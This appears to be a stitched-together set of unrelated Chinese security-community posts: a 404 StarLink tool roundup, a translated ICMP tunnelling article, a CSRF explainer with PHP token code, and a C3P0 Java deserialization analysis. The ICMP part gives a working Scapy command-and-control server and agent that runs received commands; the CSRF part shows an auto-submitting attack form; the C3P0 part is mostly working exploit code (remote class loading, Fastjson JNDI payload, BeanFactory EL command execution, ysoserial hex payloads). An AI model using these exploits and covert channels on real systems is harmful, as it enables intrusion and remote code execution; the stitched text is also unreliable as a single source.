我们将星链计划这件事从由404实验室单方面输出转变为由许多优秀的开源项目维护作者构成，我们会筛选优质、有意义、有趣、坚持维护的开源项目加入星链计划2.0，通过社区的力量构建新的开源交流平台~
星链计划2.0 - Galaxy项目地址: \- <https://github.com/knownsec/404StarLink2.0-Galaxy>
从11月以来，星链计划2.0一共发布了3期，其中涉及到包括甲方视角和乙方视角在内的共15个项目，这15个项目也真正组成了星河，成为了许多开源项目的标杆。
ID | 项目名 | 作者 | 项目链接 | Star
---|---|---|---|---
1 | HackBrowserData | moonD4rk | https://github.com/moonD4rk/HackBrowserData |
1430
2 | kunpeng | opensec-cn | https://github.com/opensec-cn/kunpeng | 1187
3 | FileMonitor | TheKingOfDuck | https://github.com/TheKingOfDuck/FileMonitor
| 382
4 | antSword | AntSwordProject | https://github.com/AntSwordProject/antSword |
326
5 | Juggler | C4o | https://github.com/C4o/Juggler | 310
6 | myscan | amcai | https://github.com/amcai/myscan | 310
7 | java-object-searcher | c0ny1 | https://github.com/c0ny1/java-object-searcher | 266
8 | gshark | madneal | https://github.com/madneal/gshark | 225
9 | MySQLMonitor | TheKingOfDuck |
https://github.com/TheKingOfDuck/MySQLMonitor | 223
10 | redis-rogue-server | Dliv3 | https://github.com/Dliv3/redis-rogue-server
| 220
11 | frida-skeleton | Margular | https://github.com/Margular/frida-skeleton |
139
随着2021年的伊始，星链计划正式发布第五期，并同时发布星链计划2.0第三期。
# Contents
**星链计划发布两个新项目，ZoomEye-python、LSpider**
* Reconnaissance 信息收集
* [Zoomeye-python](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-sdk)
* ZoomEye-python 是基于Zoomeye API开发的python库，同时也可以作为SDK集成其他工具。
* Vulnerability Assessment 漏洞探测
* [LSpider](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#lspider)
* 一个为被动扫描器定制的前端爬虫。
**星链计划2.0发布zsdevX/DarkEye、Glass、HaE、AppInfoScanner、passive-scan-client**
* Reconnaissance 信息收集
* [zsdevX/DarkEye](https://github.com/knownsec/404StarLink2.0-Galaxy/TOOLS_README.md#zsdevX/DarkEye)
* 基于go完成的渗透测试信息收集利器
* [Glass](https://github.com/knownsec/404StarLink2.0-Galaxy/TOOLS_README.md#glass)
* Glass是一款针对资产列表的快速指纹识别工具
* [HaE](https://github.com/knownsec/404StarLink2.0-Galaxy/TOOLS_README.md#hae)
* HaE是一款可以快速挖掘目标指纹和关键信息的Burp插件
* [AppInfoScanner](https://github.com/knownsec/404StarLink2.0-Galaxy/TOOLS_README.md#AppInfoScanner)
* 一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具
* Others 其他相关
* [passive-scan-client](https://github.com/knownsec/404StarLink2.0-Galaxy/TOOLS_README.md#passive-scan-client)
* Passive Scan Client是一款可以将经过筛选的流量转发到指定代理的Burp被动扫描流量转发插件
# Details
## [Zoomeye-python](https://github.com/knownsec/ZoomEye-python)
##### 项目链接：
https://github.com/knownsec/ZoomEye-python
##### 项目简述：
ZoomEye 是一款网络空间搜索引擎，用户可以使用浏览器方式 https://www.zoomeye.org 搜索网络设备。
ZoomEye-python 是一款基于 ZoomEye API 开发的 Python 库，提供了 ZoomEye 命令行模式，同时也可以作为 SDK
集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据。
## [LSpider](https://github.com/knownsec/LSpider)
##### 项目链接：
https://github.com/knownsec/LSpider
##### 项目简述：
一款为被动扫描器而生的前端爬虫~
由Chrome Headless、LSpider主控、Mysql数据库、RabbitMQ、被动扫描器5部分组合而成。
(1) 建立在Chrome Headless基础上，将模拟点击和触发事件作为核心原理，通过设置代理将流量导出到被动扫描器。
(2) 通过内置任务+子域名api来进行发散式的爬取，目的经可能的触发对应目标域的流量。
(3) 通过RabbitMQ来进行任务管理，支持大量线程同时任务。
(4) 智能填充表单，提交表单等。
(5) 通过一些方式智能判断登录框，并反馈给使用者，使用者可以通过添加cookie的方式来完成登录。
(6) 定制了相应的Webhook接口，以供Webhook统计发送到微信。
(7) 内置了Hackerone、bugcrowd爬虫，提供账号的情况下可以一键获取某个目标的所有范围。
## [zsdevX/DarkEye](https://github.com/zsdevX/DarkEye)
##### 项目链接：
https://github.com/zsdevX/DarkEye
##### 项目简述：
基于go完成的渗透测试信息收集利器
##### 推荐评语：
信息收集作为渗透测试的前置步骤一直以来都繁琐复杂，这个工具很好的集成了多个功能以及api来完成这一步，且内置图形界面的工具会让使用者的体验大大提升。
## [Glass](https://github.com/s7ckTeam/Glass)
##### 项目链接：
https://github.com/s7ckTeam/Glass
##### 项目简述：
Glass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹，也可针对IP/IP段或资产列表进行快速的指纹识别。
##### 推荐评语：
如果从大量杂乱的信息收集结果中提取有用的系统是一个亘古不变的话题，足够的指纹识别+多来源的数据不失为一个有效的手段。
## [HaE](https://github.com/gh0stkey/HaE)
##### 项目链接：
https://github.com/gh0stkey/HaE
##### 项目简述：
HaE是一款可以快速挖掘目标指纹和关键信息的Burp插件
##### 推荐评语：
如果说为了挖掘资产和敏感信息用专用的工具太过繁重，那选择一个burp插件不失为一个好的选择，作者整理的大量指纹也是项目的一个很大的亮点。
## [AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner)
##### 项目链接：
https://github.com/kelvinBen/AppInfoScanner
##### 项目简述：
一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。
##### 推荐评语：
从移动端APP(Android,iOS)中收集信息是在渗透测试过程中很容易忽略的一个点，如果有一个合适的工具来完成它那么最合适不过了。
## [passive-scan-client](https://github.com/c0ny1/passive-scan-client)
##### 项目链接：
https://github.com/c0ny1/passive-scan-client
##### 项目简述：
Passive Scan Client是一款可以将经过筛选的流量转发到指定代理的Burp被动扫描流量转发插件
##### 推荐评语：
被动扫描器的火热让基于被动扫描器的日站流程变得更为日常，但如何只让有需求的请求进入被动扫描器是一个老生常谈的需求，一个小小的插件能解决这样的问题是再好不过了。
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以提交星链计划2.0的issue, 也可以添加下方的讨论组中参与讨论。 1、微信群：
微信群有两种添加方式：
(1) 联系Seebug的各位小伙伴拉你入群，如：
(2) 通过Github链接，扫描一下二维码添加我的个人微信，并备注 **星链计划** ，会把大家拉到星链计划交流群中
# 星链计划 2021
在2021年，星链计划仍然会将关注点放在维护开源、可靠的项目上，同样的，后续404实验室也会不断地推出全新的工具以及更积极的维护。同样的，星链计划2.0也会不断的挖掘成熟、有新意的开源项目。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
1月20号，为了回馈星链计划的粉丝，星链计划微信群将会发起抽奖，赠送2份星链计划抱枕+定制机械键盘！ 想要参加抽奖的同学一定要提前扫描加群，期待你的参与哦~
* * * | 社区文章 |
攻击者在展开攻击时会遇到很多挑战。其中两个挑战是：
1.克服网络障碍(网络策略、分段等)。
2.在“隐身模式（stealth mode）”下执行不同的操作，这样他就不会被抓到。
应对这些挑战的一种好方法是在尝试创建可以跨越网络中不同障碍的隐式连接时使用ICMP隧道。
在计算机网络中，隧道协议是一种网络协议，在其中，使用一种网络协议（发送协议），将另一个不同的网络协议，封装在负载部分。[在这里](https://en.m.wikipedia.org/wiki/Tunneling_protocol
"在这里")您可以了解更多。
ICMP(InternetControlMessageProtocol，Internet控制报文协议)是Internet协议簇中的一种支持协议。。网络设备使用它来发送错误消息和操作信息。最为大家所熟知的也可能是最常用的ICMP消息是Ping消息。
Ping是一种控制消息，是ICMP(Internet控制报文协议)的一部分。
Ping从网络中的一个节点发送到另一个节点。它是由第2层和第3层报头(由OSI模块定义的MAC和IP报头)和一个特殊的ICMP数据包构建的。发送节点将设置目标参数，如果目标收到消息，它将立即返回-
这是ping数据包的IP数据报-
ICMP隧道可以通过更改Payload数据来完成，这样它将包含我们要发送的数据。
通常它包含默认的payload数据，比如这个ASCII字符串 - “abc defghijklmnopqrstuvwabcdefghi”
Wireshark — ICMP数据包, Payload Data
如果我们将HTTP数据包封装在Payload数据中，这就是绕过付费WiFi验证最常见的办法。
这可以通过使用代理服务器来实现，代理服务器等待ping消息并根据需要发送它们(例如，作为HTTP)。
1.使用合适的工具(如[ptunnel](http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/
"ptunnel"))，将您原本发送到Google的HTTP数据包封装到Ping数据包中(位于Payload数据中)。然后将其发送至代理服务器IP地址。
注意：注意：
注意： 这个IP不是HTTP包的目的地址（HTTP包的IP目的地址是www.google.com 的IP)
1.由于airports routers（路由器）常允许ICMP流量离开网络，因此路由器将向代理服务器发送Ping消息。
2.代理服务器接收Ping数据包，并将其分成两部分-。
ICMP报头。
包含原始HTTP消息的payload。
注意：代理发送到google的HTTP数据包的源IP应该是代理服务器本身的IP，而不是您的笔记本电脑(或机场的路由器…)的IP。因为Google要回复给代理，而不是回复给你。
以上可能是ICMP隧道最常见的用途。但作为Red team的一员，我确实发现它作为一种“不为人知”的方法来规避防火墙和其他网络策略非常有用。
所有这些都是可能的，因为ping消息可以通过路由器从“付费wifi”局域网发送到互联网。
为什么这种情况会发生呢？
作为一名前网络工程师，我可以负责人地告诉您，即使是最复杂的问题，ping也具有很强的理解和解决能力。
大多数故障排除过程首先都是从测试信息是否从一个点传递到另一个点。这条信息路径是否可行？网络组件是否处于活跃状态并且能够响应？Ping消息可以最简单的方式回答这些问题以及其他许多问题。
这些故障排除过程每天都会发生。这意味着网络的配置必须允许从一个节点到另一个节点在网络上传输ping消息。每个防火墙策略、路由器策略和交换机ACL(访问列表)都必须允许ICMP消息从几乎任何网络组件流向任何其他网络组件。
这就是为什么ping消息受到网络分段和网络策略的影响比较小。
知道了这一点，我认为，当您遇到分段和网络策略等障碍时，为了在网络中创建连接，代理使用icmp隧道与C&C服务器连接是个不错的办法。
我用python编写了一个简单的POC(概念证明)来演示它是如何工作的。
请注意：
-此POC要求您安装[Scapy](https://scapy.net/download/ "Scapy")(这是一个很好的学习工具)。
* 此POC不涉及碎片处理。例如，如果来自代理的数据量大于允许的有效负载数据量，就会出现碎片。
此POC将涉及C&C服务器和代理。其中C2服务器将通过ICMP隧道将命令发送给代理，代理也将通过ICMP隧道返回结果。
# C2.py
#!/usr/bin/env python3
from scapy.all import *
def main():
while True:
command = raw_input('# Enter command: ')
# build the ICMP packet with the command as the payload
pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
# wait for the ICMP message containing the answer from the agent
# to be received
rx = sniff(count=1, timeout=2)
# use this if agent is not on local machine: rx = sniff(filter="icmp", count=1)
print(rx[0][Raw].load.decode('utf-8'))
if __name__ == "__main__":
main()
# Agent.py
#!/usr/bin/env python3
import os
from scapy.all import *
def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()
运行：
用Wireshark看看到底发生了什么：
C2-pwd命令
代理 — pwd结果
正如您所看到的，有两条ICMP消息，一条是命令消息，一条是结果消息。
# D.P.O.V(防御观点)
从防御的角度来看一看，当我们在构建这种工具时我们应该着重考虑什么。
需要记住的最重要的一点是，网络安全工具并不是以防火墙白名单策略开始和结束。当今的大多数防御工具将包括某种异常检测功能。
首先阐述相关主题的常见行为，这是一种刻画异常的好方法。
谈到常规网络中的ping消息，我们可以假设以下功能：
1.大多数ping消息将以默认方式一次发送 - 4个ping。
2.Ping消息来自类型8 (回应Ping请求)，Ping应答来自类型0 (回应Ping应答)
3.每个ping数据包都会发送一些字段(使用Windows 8.1)-。
id=0x0001。
重放的seq将等于请求的seq
有效负载数据将保留其默认大小(32字节)的内容 - “abcdefghijklmnopqrstuvwabcdefghi”
了解这点，你必须考虑：
1.以这样一种方式构建C&C和Agent，即每1分钟在一个批处理中不会有超过4个ping消息(举例)。如果传输的数据需要15个ping消息，则需要3分钟才能通过。这看起来非常缓慢，如果有人或软件正在监测这次传输，那就是值得的。
2.确保ping请求和应答在逻辑上正确。例如，如果您发送的每条ping消息都是0类型，那么在没有ping请求的情况下看到大量ping响应会很奇怪。
3.当你展开研究时，尽量与周围环境相似。当然，您可以保持这个字段是可配置的，并且可以随心所欲地更改它们。
4.请注意，PayLoad数据大小将影响第一部分(ping消息的数目)，它是一个元数据信息。
5.payload数据内容 - 让我们来谈谈DPI ......
# DPI - 深度包检测
传统的数据包检测读取数据包的元数据(主要是报头)，深度数据包检测则实时读取数据包的内容。大多时候，它会查看payload，并试图检测它是否正确。
在我们的案例中，一个使用协议异常功能的DPI工具可以通过查看payload发现ICMP隧道，并发现它有异常的。
在这种情况下，它不会帮助我们更改所有其他参数。
那么，我们为什么还要费心于ICMP隧道呢？
因为 -
DPI不是一项简单的功能，您可能会遇到没有此功能的许多网络。
大多数DPI工具依赖于签名数据库——如果没有与ICMP消息相关的签名，那么它将无法检测ICMP隧道。
即使数据库中有相关的签名，管理员也应该首先将其配置为活动模式。
为什么他不激活它？
每个签名检查占用处理资源(主要是CPU和时间)，因此可能会减慢网络速度。
网络检查可以包括具有不同负载大小的不同类型的ping消息(例如，ping-l 1234
8.8.8.8将发送带有1234[字节]的负载数据的ping消息，以排除涉及MTU功能的问题。激活这种签名会引发大量的误报警报，从而惹恼监控团队，降低签名的可靠性。
# sum += 1337
ICMP隧道是一种很好的“不为人知”的通信工具。虽然根据网络上现有的防御措施，有时它的效果会较差，但很多时候，您会发现它是克服某些限制的一种简单而方便的方法。
最重要的是，这是一个值得每一个网络研究人员掌握的知识点。如果您掌握了诀窍，您可以根据需要开发任意多个不同的解决方案，例如:dns隧道、ssh隧道等…。
本文为翻译文章
链接：`https://medium.com/bugbountywriteup/ping-power-icmp-tunnel-31e2abb2aaea` | 社区文章 |
# 【技术分享】从开发角度浅谈CSRF攻击及防御
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****什么是CSRF****
CSRF可以叫做(跨站请求伪造)，咱们可以这样子理解CSRF，攻击者可以利用你的身份你的名义去发送(请求)一段恶意的请求,从而导致可以利用你的账号(名义)去–购买商品、发邮件,恶意的去消耗账户资源,导致的一些列恶意行为.CSRF可以简单分为Get型和Post型两种。
****
**Get型CSRF：**
看到这个名字,很明显是发送GET请求导致的。我这里简单的说一下：GET型的CSRF利用非常简单,通常只要发送一段HTTP请求。简单的说，如果一个网站某个地方的功能，比如(用户修改自己邮箱)是通过GET进行请求修改的话。
如下例:
[http://bobao.360.cn/user.php?id=226&[email protected]](http://www.226safe.com/user.php?Id=226&[email protected])
//这里我们可以看出这个网址是通过get型去对用户的邮箱进行修改。后面&[email protected]
是关键的地方。当我们发现没有做任何处理之后，我们将可以去构造一段代码。
只要把它email参数后面的值进行修改。。之后构造一个代码,或者直接一串URL发过去(正常人应该不会这样)。如下例：
[http://bobao.360.cn/user.php?id=226&[email protected]](http://www.226safe.com/user.php?Id=226&[email protected])
//只要这个id的用户触发了这URL即可成功修改。攻击者可自行修改id，发送该id用户也可以修改。触发后即可成功修改到这个用户的email。
**POST型CSRF**
POST型CSRF简单来说，通过POST请求去触发代码造成漏洞。还是一样，举个例子
比如在一个教育视频网站平台。在普通用户的眼中，点击网页->打开试看视频->购买视频
是一个很正常的一个流程。可是在攻击者的眼中可以算正常，但又不正常的，当然不正常的情况下，是在开发者安全意识不足没有进行处理所造成。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。
比如：[http://bobao.360.cn/coures/user/handler/25332/buy.php](http://www.226safe.com/coures/user/handler/buy.php)
//通过buy.php处理购买(购买成功)的信息，这里的25532为视频ID
那么攻击者现在构造一个表单(form.html)，如：
<form action="http://bobao.360.cn/coures/user/handler/25332/buy.php" method="post">
<input type="submit" value="提交" />
<script> document.forms[0].submit(); </script> //自动提交
</form>
构造好form表单后，那么攻击者将form.html上传至一台服务器上，将该页面 如:<http://bobao.360.cn/form.html>
发送给受害者，只要受害者正在登陆当前教育网站的时候，打开攻击者发送的页面，那么代码则自动触发，自动购买了id为25332的视频。从而导致受害者余额扣除，被攻击者恶意消耗用户余额。如果网站很不严谨，那么只要把id改了，就可以任意的去恶意购买任何视频。消耗受害者的财产，从而导致用户财产安全受影响。
**CSRF的原理**
发现漏洞可利用处->构造(搭建)搭建代码->发送给用户(管理员)->触发代码(发送请求)………
从这个利用的一个流程中，我们可以发现,攻击者仅仅只是做了两处工作.第一处是:发现漏洞利用处，，第二处就是构造利用代码以及发送至用户(管理员)。至于利用，你会发现CSRF与XSS不同，XSS是攻击者自己提交，等待结果，而CSRF呢，是由用户(管理员)自身提交。甚至可以说攻击者只做了构造代码的工作。
**在开发中如何简单防御CSRF(PHP)**
其实防御CSRF有很多种 如:验证码、验证Refer、以及验证token，对特殊参数进行加密。
但是如果使用验证码去避免CSRF的话，那么这样会验证的影响用户的体验，因为用户不会每个操作都去输入验证码(会很烦)。
Refer的话在特殊情况下也是不靠谱的(服务器端出的问题)。
那么目前只有token是被大多网站去使用的。因为可以避免用户体验的问题发生。同样服务器边问题也发生也不会很多。
那么接下来就开始介绍在PHP开发中如何去简单的生成token，避免CSRF。我们可以通过PHP中函数（rand生成随机数+uniqid生成一个唯一id+time时间戳）最后在讲这几个生成的值用md5加密。接下来来说说如何去生产：
首先先开启session会话
session_start(); //开启session会话
然后我们去随机生成一段值(这个值就是我们的token值) 备注:其实这样子生成不是最严谨的(此次只是大家一起交流。大家可以去尝试各种方式。)
$safe226 = md5(time() . uniqid() . rand(1,99999)); //输入一个随机数值
我们输出看看
接下来，我们需要做的就是把生成出来的token丢进咱们的session里面。
接下来你们应该知道了，我们验证的其实是我们存到session里面的token是否与用户提交上来的token值一致。如果一致则成功，否则则失败。我们准备一个表单，用于传递用户提交请求的一个token。
<input type="hidden" value="<?php echo $_SESSION['226_tonken']; ?>">
我们把token提交到test.php里去处理！
其实就是将我们丢进session里面的值丢进隐藏表单里面。当用户提交的时候一起提交过来验证，验证是否与session里面的token相同。
我们来感受下。
Ok，接下来我们只需要去判断用户传递过来的token值是否和session里面的值一致(这里使用简单判断，其实原理都是一样的。
if(isset($_SESSION['226_token']) && isset($_POST['token'])){
if($_SESSION['226_token'] === $_POST['token']){
//这里是验证成功后所写代码
echo '购买成功';
}else{
echo '请勿非法操作!判断是否一致';
}
}else{
echo '请勿非法操作!判断是否存在';
}
接下来，我们利用下。这里已知道结构。所以直接构造一个表单。
根据代码情况 就是当我们构造的利用代码，没有传递token或者token不一致的时候：
<form action="http://127.0.0.1/test/test.php" method="post">
<input type="submit" value="提交" />
</form>
这里两个打印是在test.php里面打印 没有去掉print_r(无视就好)，当利用时候会发现没有传递token过去。会提示。错误！
接下来我们来看，完全一致的时候。会提示的是什么：
当我们通过验证的时候。你会发现已经验证成功。购买成功。
好了。文章到此结束。希望大家多多交流！！！ | 社区文章 |
# C3P0
C3P0是一个开源的`JDBC`连接池，它实现了数据源和`JNDI`绑定，支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。
* dbcp没有自动回收空闲连接的功能
* c3p0有自动回收空闲连接功能
**gadget**
com.mchange.v2.naming.ReferenceableUtils#referenceToObject
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
**依赖**
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
先测试下ysoserial中的C3P0链
public static void main ( final String[] args ) throws Exception {
//PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
本地开启python服务成功执行
## 流程分析
### getObject()
先调试一下调用getObject时，会通过后边的`:`作为分割，分别取出url：`127.0.0.1`和className：`Exec`
接着通过反射获取反射获取`PoolBackedDataSource`对象
接着获取connectionPoolDataSource属性，并将通过PoolSource方法获取将刚刚获取的url和className赋值给它时
### 序列化
getObject()调用完后，接着执行`byte[] serialize =
Serializer.serialize(object);`，将刚获取的`PoolBackedDataSource`类传入
最后调用`objOut.writeObject(obj);`，调用到了`PoolBackedDataSourceBase`的writeObject
这里需要注意一个点我们获取的是`PoolBackedDataSource`对象，而调用的`PoolBackedDataSourceBase`的writeObject，这是由于继承关系导致
#### NotSerializableException异常
跟进`PoolBackedDataSourceBase`的writeObject
①：首先会对connectionPoolDataSource进行序列化，但是会抛出异常调用catch
②：实例化了一个ReferenceIndirector类型的类，并将需要反序列化的数据传入，成功将序列化内容写入oos中
> 注：
>
> 这里开始没明白为什么①处为什么会抛异`NotSerializableException`，上网搜了一下这个主要是因为我们自己构造的C3P0类没有
>
> 实现序列化类，而②处没异常则是因为它实现了`Serializable`接口
这里跟进简单了解下：
`indirector.indirectForm( connectionPoolDataSource )`调用`indirectForm()`
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
其中orig是我们传入的自定义的C3P0类，所以会调用`C3P0#getReference()`
除此外getReference()实例化的是Reference类，而跟进以后发现实现了`Serializable`接口，这也就是不抛出异常的原因所在
将值都传入ref，接着调用`ReferenceSerialized()`对参数进行实例化并retrun返回 进行序列化。
### 反序列化
210行将序列化的内容进行反序列化，之后调用`IndirectlySerialized`类的`getObject()`
跟进创建了一个`InitialContext()`上下文，并且下边出现了lookup，但contextName不可控，因此这里不存在JNDI注入
import javax.naming.InitialContext;
public class JNDIRMIServer {
public static void main(String[] args)throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
}
}
`return ReferenceableUtils.referenceToObject( reference, name, nameContext,
env );`接着跟进
先获取只在`Reference`中的数据，接着通过`URLClassLoader`远程加载类造成远程代码执行
POC:
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
public class C3P0 {
public Object getObject(String cmd) throws NoSuchFieldException, IllegalAccessException {
int i = cmd.lastIndexOf(":");
String sub1 = cmd.substring(i+1);
String sub2 = cmd.substring(0, i);
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSource = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,new PoolSource(sub1,sub2));
return poolBackedDataSourceBase;
}
public class PoolSource implements ConnectionPoolDataSource , Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference(){
return new Reference("Sentiment",className,url);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main ( final String[] args ) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:7777/:Exec");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
byte[] serialize= out.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
# JNDI
在上述方式中提到过JNDI注入，不过其中的参数不可控，但其实C3P0组件中通过`setJndiName()`也可触发JNDI注入
这里以Fastjson为例：
**依赖**
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
POC:
package C3P0;
import com.alibaba.fastjson.JSON;
class Fastjson{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Exec\", \"loginTimeout\":0}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
## 流程分析
前边的过程跟普通的Fastjson流程一样执行到：
method.invoke(object, value);
接着通过`setJndiName()`，为jndiName属性赋值为`ldap://127.0.0.1:1099/Exec`
接着会调用到setLoginTimeout`这里
public void setLoginTimeout(int seconds) throws SQLException
{ inner().setLoginTimeout( seconds ); }
跟进`inner()`
又调用了`dereference()`，继续跟进，首先获取了其那边设置的JndiName，接着创建了上下文环境，最后又看到了熟悉的lookup()函数
触发了JNDI注入
# 不出网利用
## BeanFactory
**依赖**
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.0.28</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.0.28</version>
</dependency>
在C3P0的调用过程中最后是通过`ObjectFactory of = (ObjectFactory)
fClass.newInstance();`命令进行的类实例加载实现远程代码执行，而下方还有一条：
return of.getObjectInstance( ref, name, nameCtx, env );
若`fClassLocation`为null的话就是默认加载而不是远程加载，加载到对象之后会调用`getObjectInstance`这个方法，该方法在JNDI的高版本绕过中出现过，用法也是一样的最后会调用
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
POC：
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
PoolSource poolSource = new PoolSource();
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(poolBackedDataSourceBase);
byte[] serialize= out.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public PoolSource(){
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
public PoolSource(String classFactory, String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}
## Hex字节码加载
可以根据本地环境依赖选择利用链
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt
将字节码文件转为16进制，传入payload中，即可进行恶意字节码加载
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:16进制编码"}}
### 流程分析
根据payload可以看出是对`userOverridesAsString`的值进行控制导致的字节码执行，而`userOverridesAsString`的setter方法在`com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase`中，所以跟进一下`setUserOverridesAsString()`
调用了`fireVetoableChange()`
跟进其中又调用了`fireVetoableChange()`，其他有参方法，之后调用到了`listeners[current].vetoableChange(event);`
跟进`vetoableChange()`，首先获取传进去的键和值，接着通过键的name进行if判断，最后调用了`C3P0ImplUtils.parseUserOverridesAsString()`对传入的16进制数据进行处理
